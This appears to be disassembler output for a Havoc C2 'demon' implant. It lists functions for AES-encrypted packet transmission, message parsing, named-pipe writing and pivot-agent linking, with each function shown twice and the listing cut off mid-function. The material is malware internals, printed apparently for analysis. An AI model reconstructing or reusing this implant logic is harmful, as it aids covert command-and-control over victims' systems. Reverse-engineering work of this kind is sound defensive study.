File havoc_demon_9b6047883014e32c66300962e067762ee768a7a3f981ca51b1ce60ae7452421b.exe
Function:
Loading..
140018e20
140018e20PackageTransmitNow:
140018e20push r13
140018e22xor eax, eax
140018e24push r12
140018e26push rbp
140018e27push rdi
140018e28push rsi
140018e29push rbx
140018e2amov rbx, rcx
140018e2dmov ecx, 64
140018e32sub rsp, 296
140018e39lea rdi, [rsp+32]
140018e3erep stosd [rdi], eax
140018e40test rbx, rbx
140018e43je 0x140018f37
140018e49mov rcx, [rbx+8]
140018e4dtest rcx, rcx
140018e50jne 0x140018e64
140018e52lea r9, [rip+63444]
140018e59mov r8l, 240
140018e5fjmp 0x140018f44
140018e64
140018e64loc_140018e64:
140018e64mov eax, [rbx+16]
140018e67mov r12, rdx
140018e6axor esi, esi
140018e6cmov r13, r8
140018e6flea rbp, [rsp+32]
140018e74lea edx, [rax-4]
140018e77call Int32ToBuffer
140018e7ccmp [rbx+24], 0
140018e80je 0x140018ec9
140018e82cmp [rbx+4], 99
140018e86mov eax, 20
140018e8bmov esi, 68
140018e90mov rcx, rbp
140018e93cmovne rsi, rax
140018e97mov rax, [rip+0x134d2]
140018e9emov rdx, [rax+284]
140018ea5mov r8, [rax+292]
140018eaccall AesInit
140018eb1mov rdx, [rbx+8]
140018eb5mov r8, [rbx+16]
140018eb9mov eax, esi
140018ebbmov rcx, rbp
140018ebeadd rdx, rax
140018ec1sub r8, rax
140018ec4call AesXCryptBuffer
140018ec9
140018ec9loc_140018ec9:
140018ec9mov rdx, [rbx+16]
140018ecdmov rcx, [rbx+8]
140018ed1mov r9, r13
140018ed4mov r8, r12
140018ed7call TransportSend
140018edcmov edi, eax
140018edetest eax, eax
140018ee0jne 0x140018f04
140018ee2lea r9, [rip+63325]
140018ee9mov r8l, 263
140018eeflea rdx, [rip+0x13dca]
140018ef6lea rcx, [rip+63260]
140018efdcall printf
140018f02jmp 0x140018f09
140018f04
140018f04loc_140018f04:
140018f04mov edi, 1
140018f09
140018f09loc_140018f09:
140018f09cmp [rbx+28], 0
140018f0dje 0x140018f19
140018f0fmov rcx, rbx
140018f12call PackageDestroy
140018f17jmp 0x140018f59
140018f19
140018f19loc_140018f19:
140018f19cmp [rbx+24], 0
140018f1dje 0x140018f59
140018f1fmov r8, [rbx+16]
140018f23mov rdx, [rbx+8]
140018f27mov rcx, rbp
140018f2aadd rdx, rsi
140018f2dsub r8, rsi
140018f30call AesXCryptBuffer
140018f35jmp 0x140018f59
140018f37
140018f37loc_140018f37:
140018f37lea r9, [rip+63262]
140018f3emov r8l, 272
140018f44
140018f44loc_140018f44:
140018f44lea rdx, [rip+0x13d75]
140018f4blea rcx, [rip+63175]
140018f52xor edi, edi
140018f54call printf
140018f59
140018f59loc_140018f59:
140018f59add rsp, 296
140018f60mov eax, edi
140018f62pop rbx
140018f63pop rsi
140018f64pop rdi
140018f65pop rbp
140018f66pop r12
140018f68pop r13
140018f6aret
140018e20
140018e20PackageTransmitNow:
140018e20push r13
140018e22xor eax, eax
140018e24push r12
140018e26push rbp
140018e27push rdi
140018e28push rsi
140018e29push rbx
140018e2amov rbx, rcx
140018e2dmov ecx, 64
140018e32sub rsp, 296
140018e39lea rdi, [rsp+32]
140018e3erep stosd [rdi], eax
140018e40test rbx, rbx
140018e43je 0x140018f37
140018e49mov rcx, [rbx+8]
140018e4dtest rcx, rcx
140018e50jne 0x140018e64
140018e52lea r9, [rip+63444]
140018e59mov r8l, 240
140018e5fjmp 0x140018f44
140018e64
140018e64loc_140018e64:
140018e64mov eax, [rbx+16]
140018e67mov r12, rdx
140018e6axor esi, esi
140018e6cmov r13, r8
140018e6flea rbp, [rsp+32]
140018e74lea edx, [rax-4]
140018e77call Int32ToBuffer
140018e7ccmp [rbx+24], 0
140018e80je 0x140018ec9
140018e82cmp [rbx+4], 99
140018e86mov eax, 20
140018e8bmov esi, 68
140018e90mov rcx, rbp
140018e93cmovne rsi, rax
140018e97mov rax, [rip+0x134d2]
140018e9emov rdx, [rax+284]
140018ea5mov r8, [rax+292]
140018eaccall AesInit
140018eb1mov rdx, [rbx+8]
140018eb5mov r8, [rbx+16]
140018eb9mov eax, esi
140018ebbmov rcx, rbp
140018ebeadd rdx, rax
140018ec1sub r8, rax
140018ec4call AesXCryptBuffer
140018ec9
140018ec9loc_140018ec9:
140018ec9mov rdx, [rbx+16]
140018ecdmov rcx, [rbx+8]
140018ed1mov r9, r13
140018ed4mov r8, r12
140018ed7call TransportSend
140018edcmov edi, eax
140018edetest eax, eax
140018ee0jne 0x140018f04
140018ee2lea r9, [rip+63325]
140018ee9mov r8l, 263
140018eeflea rdx, [rip+0x13dca]
140018ef6lea rcx, [rip+63260]
140018efdcall printf
140018f02jmp 0x140018f09
140018f04
140018f04loc_140018f04:
140018f04mov edi, 1
140018f09
140018f09loc_140018f09:
140018f09cmp [rbx+28], 0
140018f0dje 0x140018f19
140018f0fmov rcx, rbx
140018f12call PackageDestroy
140018f17jmp 0x140018f59
140018f19
140018f19loc_140018f19:
140018f19cmp [rbx+24], 0
140018f1dje 0x140018f59
140018f1fmov r8, [rbx+16]
140018f23mov rdx, [rbx+8]
140018f27mov rcx, rbp
140018f2aadd rdx, rsi
140018f2dsub r8, rsi
140018f30call AesXCryptBuffer
140018f35jmp 0x140018f59
140018f37
140018f37loc_140018f37:
140018f37lea r9, [rip+63262]
140018f3emov r8l, 272
140018f44
140018f44loc_140018f44:
140018f44lea rdx, [rip+0x13d75]
140018f4blea rcx, [rip+63175]
140018f52xor edi, edi
140018f54call printf
140018f59
140018f59loc_140018f59:
140018f59add rsp, 296
140018f60mov eax, edi
140018f62pop rbx
140018f63pop rsi
140018f64pop rdi
140018f65pop rbp
140018f66pop r12
140018f68pop r13
140018f6aret
140018e20
140018f6b
140018f6b // align 0x10
140018f6b // align 0x10
140018f70
140018f70ParserDecrypt:
140018f70push rdi
140018f71xor eax, eax
140018f73push rbx
140018f74mov rbx, rcx
140018f77mov ecx, 64
140018f7csub rsp, 296
140018f83lea rdi, [rsp+32]
140018f88rep stosd [rdi], eax
140018f8atest rbx, rbx
140018f8dje 0x140018fac
140018f8flea rdi, [rsp+32]
140018f94mov rcx, rdi
140018f97call AesInit
140018f9cmov rdx, [rbx+8]
140018fa0mov r8l, [rbx+20]
140018fa4mov rcx, rdi
140018fa7call AesXCryptBuffer
140018fac
140018facloc_140018fac:
140018facadd rsp, 296
140018fb3pop rbx
140018fb4pop rdi
140018fb5ret
140018f70
140018f70ParserDecrypt:
140018f70push rdi
140018f71xor eax, eax
140018f73push rbx
140018f74mov rbx, rcx
140018f77mov ecx, 64
140018f7csub rsp, 296
140018f83lea rdi, [rsp+32]
140018f88rep stosd [rdi], eax
140018f8atest rbx, rbx
140018f8dje 0x140018fac
140018f8flea rdi, [rsp+32]
140018f94mov rcx, rdi
140018f97call AesInit
140018f9cmov rdx, [rbx+8]
140018fa0mov r8l, [rbx+20]
140018fa4mov rcx, rdi
140018fa7call AesXCryptBuffer
140018fac
140018facloc_140018fac:
140018facadd rsp, 296
140018fb3pop rbx
140018fb4pop rdi
140018fb5ret
140018f70
140018fb6
140018fb6 // align 0x10
140018fb6 // align 0x10
140018fc0
140018fc0ParserDestroy:
140018fc0push rdi
140018fc1push rbx
140018fc2sub rsp, 40
140018fc6mov rdi, [rcx]
140018fc9test rdi, rdi
140018fccje 0x140018ff1
140018fcemov rbx, rcx
140018fd1xor eax, eax
140018fd3mov ecx, [rcx+16]
140018fd6rep stosb [rdi], al
140018fd8mov rax, [rip+0x13391]
140018fdfmov rcx, [rbx]
140018fe2call [rax+940]
140018fe8xor eax, eax
140018feamov [rbx], rax
140018fedmov [rbx+8], rax
140018ff1
140018ff1loc_140018ff1:
140018ff1add rsp, 40
140018ff5pop rbx
140018ff6pop rdi
140018ff7ret
140018fc0
140018fc0ParserDestroy:
140018fc0push rdi
140018fc1push rbx
140018fc2sub rsp, 40
140018fc6mov rdi, [rcx]
140018fc9test rdi, rdi
140018fccje 0x140018ff1
140018fcemov rbx, rcx
140018fd1xor eax, eax
140018fd3mov ecx, [rcx+16]
140018fd6rep stosb [rdi], al
140018fd8mov rax, [rip+0x13391]
140018fdfmov rcx, [rbx]
140018fe2call [rax+940]
140018fe8xor eax, eax
140018feamov [rbx], rax
140018fedmov [rbx+8], rax
140018ff1
140018ff1loc_140018ff1:
140018ff1add rsp, 40
140018ff5pop rbx
140018ff6pop rdi
140018ff7ret
140018fc0
140018ff8
140018ff8 // align 0x10
140018ff8 // align 0x10
140019000
140019000ParserGetBool:
140019000xor edx, edx
140019002test rcx, rcx
140019005je 0x14001902c
140019007mov eax, [rcx+20]
14001900acmp eax, 3
14001900djbe 0x14001902c
14001900fmov rdx, [rcx+8]
140019013sub eax, 4
140019016mov r8l, [rdx]
140019019add rdx, 4
14001901dmov [rcx+20], eax
140019020mov [rcx+8], rdx
140019024xor edx, edx
140019026test r8l, r8l
140019029setne dl
14001902c
14001902cloc_14001902c:
14001902cmov eax, edx
14001902eret
140019000
140019000ParserGetBool:
140019000xor edx, edx
140019002test rcx, rcx
140019005je 0x14001902c
140019007mov eax, [rcx+20]
14001900acmp eax, 3
14001900djbe 0x14001902c
14001900fmov rdx, [rcx+8]
140019013sub eax, 4
140019016mov r8l, [rdx]
140019019add rdx, 4
14001901dmov [rcx+20], eax
140019020mov [rcx+8], rdx
140019024xor edx, edx
140019026test r8l, r8l
140019029setne dl
14001902c
14001902cloc_14001902c:
14001902cmov eax, edx
14001902eret
140019000
14001902f
14001902f // align 0x10
14001902f // align 0x10
140019030
140019030ParserGetByte:
140019030mov eax, [rcx+20]
140019033xor r8l, r8l
140019036test eax, eax
140019038je 0x14001904d
14001903amov rdx, [rcx+8]
14001903edec eax
140019040mov r8b, [rdx]
140019043inc rdx
140019046mov [rcx+20], eax
140019049mov [rcx+8], rdx
14001904d
14001904dloc_14001904d:
14001904dmov eax, r8l
140019050ret
140019030
140019030ParserGetByte:
140019030mov eax, [rcx+20]
140019033xor r8l, r8l
140019036test eax, eax
140019038je 0x14001904d
14001903amov rdx, [rcx+8]
14001903edec eax
140019040mov r8b, [rdx]
140019043inc rdx
140019046mov [rcx+20], eax
140019049mov [rcx+8], rdx
14001904d
14001904dloc_14001904d:
14001904dmov eax, r8l
140019050ret
140019030
140019051
140019051 // align 0x10
140019051 // align 0x10
140019060
140019060ParserGetBytes:
140019060mov rax, rcx
140019063test rcx, rcx
140019066je 0x1400190a5
140019068mov ecx, [rcx+20]
14001906bcmp ecx, 3
14001906ejbe 0x1400190a3
140019070mov r8, [rax+8]
140019074cmp [rax+28], 0
140019078lea r9, [r8+4]
14001907cmov r8l, [r8]
14001907fje 0x140019084
140019081bswap r8l
140019084
140019084loc_140019084:
140019084sub ecx, 4
140019087sub ecx, r8l
14001908amov [rax+20], ecx
14001908dmov ecx, r8l
140019090add rcx, r9
140019093mov [rax+8], rcx
140019097test rdx, rdx
14001909aje 0x14001909f
14001909cmov [rdx], r8l
14001909f
14001909floc_14001909f:
14001909fmov rax, r9
1400190a2ret
1400190a3
1400190a3loc_1400190a3:
1400190a3xor eax, eax
1400190a5
1400190a5loc_1400190a5:
1400190a5ret
140019060
140019060ParserGetBytes:
140019060mov rax, rcx
140019063test rcx, rcx
140019066je 0x1400190a5
140019068mov ecx, [rcx+20]
14001906bcmp ecx, 3
14001906ejbe 0x1400190a3
140019070mov r8, [rax+8]
140019074cmp [rax+28], 0
140019078lea r9, [r8+4]
14001907cmov r8l, [r8]
14001907fje 0x140019084
140019081bswap r8l
140019084
140019084loc_140019084:
140019084sub ecx, 4
140019087sub ecx, r8l
14001908amov [rax+20], ecx
14001908dmov ecx, r8l
140019090add rcx, r9
140019093mov [rax+8], rcx
140019097test rdx, rdx
14001909aje 0x14001909f
14001909cmov [rdx], r8l
14001909f
14001909floc_14001909f:
14001909fmov rax, r9
1400190a2ret
1400190a3
1400190a3loc_1400190a3:
1400190a3xor eax, eax
1400190a5
1400190a5loc_1400190a5:
1400190a5ret
140019060
1400190a6
1400190a6 // align 0x10
1400190a6 // align 0x10
1400190b0
1400190b0ParserGetInt16:
1400190b0mov eax, [rcx+20]
1400190b3xor r8l, r8l
1400190b6cmp eax, 1
1400190b9jbe 0x1400190d1
1400190bbmov rdx, [rcx+8]
1400190bfsub eax, 2
1400190c2mov r8w, [rdx]
1400190c6add rdx, 2
1400190camov [rcx+20], eax
1400190cdmov [rcx+8], rdx
1400190d1
1400190d1loc_1400190d1:
1400190d1mov eax, r8l
1400190d4ret
1400190b0
1400190b0ParserGetInt16:
1400190b0mov eax, [rcx+20]
1400190b3xor r8l, r8l
1400190b6cmp eax, 1
1400190b9jbe 0x1400190d1
1400190bbmov rdx, [rcx+8]
1400190bfsub eax, 2
1400190c2mov r8w, [rdx]
1400190c6add rdx, 2
1400190camov [rcx+20], eax
1400190cdmov [rcx+8], rdx
1400190d1
1400190d1loc_1400190d1:
1400190d1mov eax, r8l
1400190d4ret
1400190b0
1400190d5
1400190d5 // align 0x10
1400190d5 // align 0x10
1400190e0
1400190e0ParserGetInt32:
1400190e0xor eax, eax
1400190e2test rcx, rcx
1400190e5je 0x140019111
1400190e7mov edx, [rcx+20]
1400190eacmp edx, 3
1400190edjbe 0x140019111
1400190efmov rax, [rcx+8]
1400190f3sub edx, 4
1400190f6mov r8l, [rax]
1400190f9add rax, 4
1400190fdcmp [rcx+28], 0
140019101mov [rcx+20], edx
140019104mov [rcx+8], rax
140019108mov eax, r8l
14001910bbswap eax
14001910dcmove eax, r8l
140019111
140019111loc_140019111:
140019111ret
1400190e0
1400190e0ParserGetInt32:
1400190e0xor eax, eax
1400190e2test rcx, rcx
1400190e5je 0x140019111
1400190e7mov edx, [rcx+20]
1400190eacmp edx, 3
1400190edjbe 0x140019111
1400190efmov rax, [rcx+8]
1400190f3sub edx, 4
1400190f6mov r8l, [rax]
1400190f9add rax, 4
1400190fdcmp [rcx+28], 0
140019101mov [rcx+20], edx
140019104mov [rcx+8], rax
140019108mov eax, r8l
14001910bbswap eax
14001910dcmove eax, r8l
140019111
140019111loc_140019111:
140019111ret
1400190e0
140019112
140019112 // align 0x10
140019112 // align 0x10
140019120
140019120ParserGetInt64:
140019120xor eax, eax
140019122test rcx, rcx
140019125je 0x140019152
140019127mov edx, [rcx+20]
14001912acmp edx, 7
14001912djbe 0x140019152
14001912fmov rax, [rcx+8]
140019133sub edx, 8
140019136mov r8, [rax]
140019139add rax, 8
14001913dcmp [rcx+28], 0
140019141mov [rcx+20], edx
140019144mov [rcx+8], rax
140019148mov rax, r8
14001914bbswap rax
14001914ecmove rax, r8
140019152
140019152loc_140019152:
140019152ret
140019120
140019120ParserGetInt64:
140019120xor eax, eax
140019122test rcx, rcx
140019125je 0x140019152
140019127mov edx, [rcx+20]
14001912acmp edx, 7
14001912djbe 0x140019152
14001912fmov rax, [rcx+8]
140019133sub edx, 8
140019136mov r8, [rax]
140019139add rax, 8
14001913dcmp [rcx+28], 0
140019141mov [rcx+20], edx
140019144mov [rcx+8], rax
140019148mov rax, r8
14001914bbswap rax
14001914ecmove rax, r8
140019152
140019152loc_140019152:
140019152ret
140019120
140019153
140019153 // align 0x10
140019153 // align 0x10
140019165
140019165 // align 0x10
140019165 // align 0x10
140019175
140019175 // align 0x10
140019175 // align 0x10
140019180
140019180ParserNew:
140019180test rcx, rcx
140019183je 0x1400191d3
140019185push r12
140019187mov r12l, r8l
14001918apush rbp
14001918bmov ebp, r8l
14001918epush rdi
14001918fpush rsi
140019190mov rsi, rdx
140019193mov rdx, r12
140019196push rbx
140019197mov rbx, rcx
14001919amov ecx, 64
14001919fsub rsp, 32
1400191a3mov rax, [rip+0x131c6]
1400191aacall [rax+932]
1400191b0mov rcx, r12
1400191b3mov [rbx], rax
1400191b6mov rdi, rax
1400191b9rep movsb [rdi], [rsi]
1400191bbmov [rbx+20], ebp
1400191bemov [rbx+16], ebp
1400191c1mov rax, [rbx]
1400191c4mov [rbx+8], rax
1400191c8add rsp, 32
1400191ccpop rbx
1400191cdpop rsi
1400191cepop rdi
1400191cfpop rbp
1400191d0pop r12
1400191d2ret
1400191d3
1400191d3loc_1400191d3:
1400191d3ret
140019180
140019180ParserNew:
140019180test rcx, rcx
140019183je 0x1400191d3
140019185push r12
140019187mov r12l, r8l
14001918apush rbp
14001918bmov ebp, r8l
14001918epush rdi
14001918fpush rsi
140019190mov rsi, rdx
140019193mov rdx, r12
140019196push rbx
140019197mov rbx, rcx
14001919amov ecx, 64
14001919fsub rsp, 32
1400191a3mov rax, [rip+0x131c6]
1400191aacall [rax+932]
1400191b0mov rcx, r12
1400191b3mov [rbx], rax
1400191b6mov rdi, rax
1400191b9rep movsb [rdi], [rsi]
1400191bbmov [rbx+20], ebp
1400191bemov [rbx+16], ebp
1400191c1mov rax, [rbx]
1400191c4mov [rbx+8], rax
1400191c8add rsp, 32
1400191ccpop rbx
1400191cdpop rsi
1400191cepop rdi
1400191cfpop rbp
1400191d0pop r12
1400191d2ret
1400191d3
1400191d3loc_1400191d3:
1400191d3ret
140019180
1400191d4
1400191d4 // align 0x10
1400191d4 // align 0x10
1400191e0
1400191e0PipeWrite:
1400191e0push rbp
1400191e1xor r8l, r8l
1400191e4push rdi
1400191e5mov rdi, rcx
1400191e8push rsi
1400191e9xor esi, esi
1400191ebpush rbx
1400191ecmov rbx, rdx
1400191efsub rsp, 72
1400191f3mov [rsp+60], r8l
1400191f8lea rbp, [rsp+60]
1400191fd
1400191fdloc_1400191fd:
1400191fdmov eax, [rbx+8]
140019200mov r8l, 65535
140019206xor ecx, ecx
140019208mov edx, esi
14001920aadd rdx, [rbx]
14001920dmov r9, rbp
140019210mov [rsp+32], rcx
140019215mov rcx, rdi
140019218sub eax, esi
14001921acmp eax, r8l
14001921dcmovbe r8l, eax
140019221mov rax, [rip+0x13148]
140019228call [rax+876]
14001922etest eax, eax
140019230je 0x140019240
140019232add esi, [rsp+60]
140019236cmp esi, [rbx+8]
140019239jb 0x1400191fd
14001923bmov eax, 1
140019240
140019240loc_140019240:
140019240add rsp, 72
140019244pop rbx
140019245pop rsi
140019246pop rdi
140019247pop rbp
140019248ret
1400191e0
1400191e0PipeWrite:
1400191e0push rbp
1400191e1xor r8l, r8l
1400191e4push rdi
1400191e5mov rdi, rcx
1400191e8push rsi
1400191e9xor esi, esi
1400191ebpush rbx
1400191ecmov rbx, rdx
1400191efsub rsp, 72
1400191f3mov [rsp+60], r8l
1400191f8lea rbp, [rsp+60]
1400191fd
1400191fdloc_1400191fd:
1400191fdmov eax, [rbx+8]
140019200mov r8l, 65535
140019206xor ecx, ecx
140019208mov edx, esi
14001920aadd rdx, [rbx]
14001920dmov r9, rbp
140019210mov [rsp+32], rcx
140019215mov rcx, rdi
140019218sub eax, esi
14001921acmp eax, r8l
14001921dcmovbe r8l, eax
140019221mov rax, [rip+0x13148]
140019228call [rax+876]
14001922etest eax, eax
140019230je 0x140019240
140019232add esi, [rsp+60]
140019236cmp esi, [rbx+8]
140019239jb 0x1400191fd
14001923bmov eax, 1
140019240
140019240loc_140019240:
140019240add rsp, 72
140019244pop rbx
140019245pop rsi
140019246pop rdi
140019247pop rbp
140019248ret
1400191e0
140019249
140019249 // align 0x10
140019249 // align 0x10
140019250
140019250PivotAdd:
140019250push rbp
140019251mov rbp, rsp
140019254push r15
140019256push r14
140019258mov r14, rdx
14001925bpush r13
14001925dlea r13, [rip+0x13d7c]
140019264push r12
140019266mov rdx, r13
140019269mov r12, r8
14001926cmov r8l, 29
140019272push rdi
140019273push rsi
140019274push rbx
140019275and rsp, -16
140019279sub rsp, 80
14001927dmov rsi, [rcx]
140019280mov r15, [rcx+8]
140019284lea rcx, [rip+62767]
14001928bmov r9, rsi
14001928ecall printf
140019293xor r8l, r8l
140019296xor r9l, r9l
140019299mov edx, 0xffffffffc0000000
14001929emov rbx, [rip+0x130cb]
1400192a5mov [rsp+48], r8
1400192aamov rcx, rsi
1400192adxor r8l, r8l
1400192b0mov [rsp+40], r9l
1400192b5xor r9l, r9l
1400192b8mov [rsp+32], 3
1400192c0call [rbx+812]
1400192c6mov [rsp+72], rax
1400192cbinc rax
1400192cemov rax, [rbx+2230]
1400192d5jne 0x1400192f2
1400192d7mov r9l, [rax+104]
1400192dbmov r8l, 35
1400192e1mov rdx, r13
1400192e4lea rcx, [rip+62718]
1400192ebcall printf
1400192f0jmp 0x14001930d
1400192f2
1400192f2loc_1400192f2:
1400192f2cmp [rax+104], 231
1400192f9jne 0x14001931d
1400192fbmov edx, 5000
140019300mov rcx, rsi
140019303call [rbx+852]
140019309test eax, eax
14001930bjne 0x14001931d
14001930d
14001930dloc_14001930d:
14001930dxor eax, eax
14001930fjmp 0x14001949d
140019314
140019314loc_140019314:
140019314mov r9l, [r12]
140019318test r9l, r9l
14001931bjne 0x140019345
14001931d
14001931dloc_14001931d:
14001931dxor ecx, ecx
14001931fxor r9l, r9l
140019322xor r8l, r8l
140019325xor edx, edx
140019327mov [rsp+40], rcx
14001932cmov rcx, [rsp+72]
140019331mov [rsp+32], r12
140019336call [rbx+860]
14001933ctest eax, eax
14001933ejne 0x140019314
140019340jmp 0x140019459
140019345
140019345loc_140019345:
140019345mov r8l, 54
14001934bmov rdx, r13
14001934elea rcx, [rip+62653]
140019355call printf
14001935amov edx, [r12]
14001935emov ecx, 64
140019363call [rbx+932]
140019369mov ecx, [r12]
14001936dmov [r14], rax
140019370mov rdi, rax
140019373xor eax, eax
140019375rep stosb [rdi], al
140019377xor edx, edx
140019379mov rcx, [rsp+72]
14001937emov r9, r12
140019381mov [rsp+32], rdx
140019386mov r8l, [r12]
14001938amov rdx, [r14]
14001938dcall [rbx+916]
140019393test eax, eax
140019395je 0x14001943c
14001939bmov r9l, [r12]
14001939fmov rdx, r13
1400193a2mov r8l, 61
1400193a8lea rcx, [rip+62596]
1400193afcall printf
1400193b4mov eax, [r12]
1400193b8mov rdx, r13
1400193bbmov r8l, 82
1400193c1lea rcx, [rip+62609]
1400193c8mov [rsp+32], eax
1400193ccmov r9, [r14]
1400193cfcall printf
1400193d4mov edx, 40
1400193d9mov ecx, 64
1400193decall [rbx+932]
1400193e4mov edx, [r12]
1400193e8mov r12l, r15l
1400193ebmov r13, rax
1400193eemov rax, [rsp+72]
1400193f3mov [r13+24], rax
1400193f7xor eax, eax
1400193f9mov [r13+32], rax
1400193fdmov rcx, [r14]
140019400call PivotParseDemonID
140019405mov ecx, 64
14001940amov rdx, r12
14001940dmov [r13], eax
140019411call [rbx+932]
140019417mov [r13+16], r15l
14001941bmov rcx, r12
14001941emov [r13+8], rax
140019422mov rdi, rax
140019425rep movsb [rdi], [rsi]
140019427mov rax, [rbx+2294]
14001942etest rax, rax
140019431jne 0x140019488
140019433mov [rbx+2294], r13
14001943ajmp 0x140019498
14001943c
14001943cloc_14001943c:
14001943cmov rax, [rbx+2230]
140019443mov r8l, 66
140019449mov rdx, r13
14001944clea rcx, [rip+62105]
140019453mov r9l, [rax+104]
140019457jmp 0x140019474
140019459
140019459loc_140019459:
140019459mov rax, [rbx+2230]
140019460mov r8l, 74
140019466mov rdx, r13
140019469lea rcx, [rip+62114]
140019470mov r9l, [rax+104]
140019474
140019474loc_140019474:
140019474call printf
140019479mov rcx, [rsp+72]
14001947ecall SysNtClose
140019483jmp 0x14001930d
140019488
140019488loc_140019488:
140019488mov rdx, rax
14001948bmov rax, [rax+32]
14001948ftest rax, rax
140019492jne 0x140019488
140019494mov [rdx+32], r13
140019498
140019498loc_140019498:
140019498mov eax, 1
14001949d
14001949dloc_14001949d:
14001949dlea rsp, [rbp-56]
1400194a1pop rbx
1400194a2pop rsi
1400194a3pop rdi
1400194a4pop r12
1400194a6pop r13
1400194a8pop r14
1400194aapop r15
1400194acpop rbp
1400194adret
140019250
140019250PivotAdd:
140019250push rbp
140019251mov rbp, rsp
140019254push r15
140019256push r14
140019258mov r14, rdx
14001925bpush r13
14001925dlea r13, [rip+0x13d7c]
140019264push r12
140019266mov rdx, r13
140019269mov r12, r8
14001926cmov r8l, 29
140019272push rdi
140019273push rsi
140019274push rbx
140019275and rsp, -16
140019279sub rsp, 80
14001927dmov rsi, [rcx]
140019280mov r15, [rcx+8]
140019284lea rcx, [rip+62767]
14001928bmov r9, rsi
14001928ecall printf
140019293xor r8l, r8l
140019296xor r9l, r9l
140019299mov edx, 0xffffffffc0000000
14001929emov rbx, [rip+0x130cb]
1400192a5mov [rsp+48], r8
1400192aamov rcx, rsi
1400192adxor r8l, r8l
1400192b0mov [rsp+40], r9l
1400192b5xor r9l, r9l
1400192b8mov [rsp+32], 3
1400192c0call [rbx+812]
1400192c6mov [rsp+72], rax
1400192cbinc rax
1400192cemov rax, [rbx+2230]
1400192d5jne 0x1400192f2
1400192d7mov r9l, [rax+104]
1400192dbmov r8l, 35
1400192e1mov rdx, r13
1400192e4lea rcx, [rip+62718]
1400192ebcall printf
1400192f0jmp 0x14001930d
1400192f2
1400192f2loc_1400192f2:
1400192f2cmp [rax+104], 231
1400192f9jne 0x14001931d
1400192fbmov edx, 5000
140019300mov rcx, rsi
140019303call [rbx+852]
140019309test eax, eax
14001930bjne 0x14001931d
14001930d
14001930dloc_14001930d:
14001930dxor eax, eax
14001930fjmp 0x14001949d
140019314
140019314loc_140019314:
140019314mov r9l, [r12]
140019318test r9l, r9l
14001931bjne 0x140019345
14001931d
14001931dloc_14001931d:
14001931dxor ecx, ecx
14001931fxor r9l, r9l
140019322xor r8l, r8l
140019325xor edx, edx
140019327mov [rsp+40], rcx
14001932cmov rcx, [rsp+72]
140019331mov [rsp+32], r12
140019336call [rbx+860]
14001933ctest eax, eax
14001933ejne 0x140019314
140019340jmp 0x140019459
140019345
140019345loc_140019345:
140019345mov r8l, 54
14001934bmov rdx, r13
14001934elea rcx, [rip+62653]
140019355call printf
14001935amov edx, [r12]
14001935emov ecx, 64
140019363call [rbx+932]
140019369mov ecx, [r12]
14001936dmov [r14], rax
140019370mov rdi, rax
140019373xor eax, eax
140019375rep stosb [rdi], al
140019377xor edx, edx
140019379mov rcx, [rsp+72]
14001937emov r9, r12
140019381mov [rsp+32], rdx
140019386mov r8l, [r12]
14001938amov rdx, [r14]
14001938dcall [rbx+916]
140019393test eax, eax
140019395je 0x14001943c
14001939bmov r9l, [r12]
14001939fmov rdx, r13
1400193a2mov r8l, 61
1400193a8lea rcx, [rip+62596]
1400193afcall printf
1400193b4mov eax, [r12]
1400193b8mov rdx, r13
1400193bbmov r8l, 82
1400193c1lea rcx, [rip+62609]
1400193c8mov [rsp+32], eax
1400193ccmov r9, [r14]
1400193cfcall printf
1400193d4mov edx, 40
1400193d9mov ecx, 64
1400193decall [rbx+932]
1400193e4mov edx, [r12]
1400193e8mov r12l, r15l
1400193ebmov r13, rax
1400193eemov rax, [rsp+72]
1400193f3mov [r13+24], rax
1400193f7xor eax, eax
1400193f9mov [r13+32], rax
1400193fdmov rcx, [r14]
140019400call PivotParseDemonID
140019405mov ecx, 64
14001940amov rdx, r12
14001940dmov [r13], eax
140019411call [rbx+932]
140019417mov [r13+16], r15l
14001941bmov rcx, r12
14001941emov [r13+8], rax
140019422mov rdi, rax
140019425rep movsb [rdi], [rsi]
140019427mov rax, [rbx+2294]
14001942etest rax, rax
140019431jne 0x140019488
140019433mov [rbx+2294], r13
14001943ajmp 0x140019498
14001943c
14001943cloc_14001943c:
14001943cmov rax, [rbx+2230]
140019443mov r8l, 66
140019449mov rdx, r13
14001944clea rcx, [rip+62105]
140019453mov r9l, [rax+104]
140019457jmp 0x140019474
140019459
140019459loc_140019459:
140019459mov rax, [rbx+2230]
140019460mov r8l, 74
140019466mov rdx, r13
140019469lea rcx, [rip+62114]
140019470mov r9l, [rax+104]
140019474
140019474loc_140019474:
140019474call printf
140019479mov rcx, [rsp+72]
14001947ecall SysNtClose
140019483jmp 0x14001930d
140019488
140019488loc_140019488:
140019488mov rdx, rax
14001948bmov rax, [rax+32]
14001948ftest rax, rax
140019492jne 0x140019488
140019494mov [rdx+32], r13
140019498
140019498loc_140019498:
140019498mov eax, 1
14001949d
14001949dloc_14001949d:
14001949dlea rsp, [rbp-56]
1400194a1pop rbx
1400194a2pop rsi
1400194a3pop rdi
1400194a4pop r12
1400194a6pop r13
1400194a8pop r14
1400194aapop r15
1400194acpop rbp
1400194adret
140019250
1400194ae
1400194ae // align 0x10
1400194ae // align 0x10
1400194b0
1400194b0PivotGet:
1400194b0mov rax, [rip+0x12eb9]
1400194b7mov rax, [rax+2294]
1400194be
1400194beloc_1400194be:
1400194betest rax, rax
1400194c1je 0x1400194cd
1400194c3cmp [rax], ecx
1400194c5je 0x1400194cd
1400194c7mov rax, [rax+32]
1400194cbjmp 0x1400194be
1400194cd
1400194cdloc_1400194cd:
1400194cdret
1400194b0
1400194b0PivotGet:
1400194b0mov rax, [rip+0x12eb9]
1400194b7mov rax, [rax+2294]
1400194be
1400194beloc_1400194be:
1400194betest rax, rax
1400194c1je 0x1400194cd
1400194c3cmp [rax], ecx
1400194c5je 0x1400194cd
1400194c7mov rax, [rax+32]
1400194cbjmp 0x1400194be
1400194cd
1400194cdloc_1400194cd:
1400194cdret
1400194b0
1400194ce
1400194ce // align 0x10
1400194ce // align 0x10
1400194d0
1400194d0PivotParseDemonID:
1400194d0push rdi
1400194d1mov r9, rcx
1400194d4xor eax, eax
1400194d6mov ecx, 8
1400194dbpush rsi
1400194dcmov r8l, edx
1400194dfmov rdx, r9
1400194e2push rbx
1400194e3sub rsp, 64
1400194e7lea rbx, [rsp+32]
1400194eclea rdi, [rsp+32]
1400194f1rep stosd [rdi], eax
1400194f3mov rcx, rbx
1400194f6call ParserNew
1400194fbmov rcx, rbx
1400194fecall ParserGetInt32
140019503mov rcx, rbx
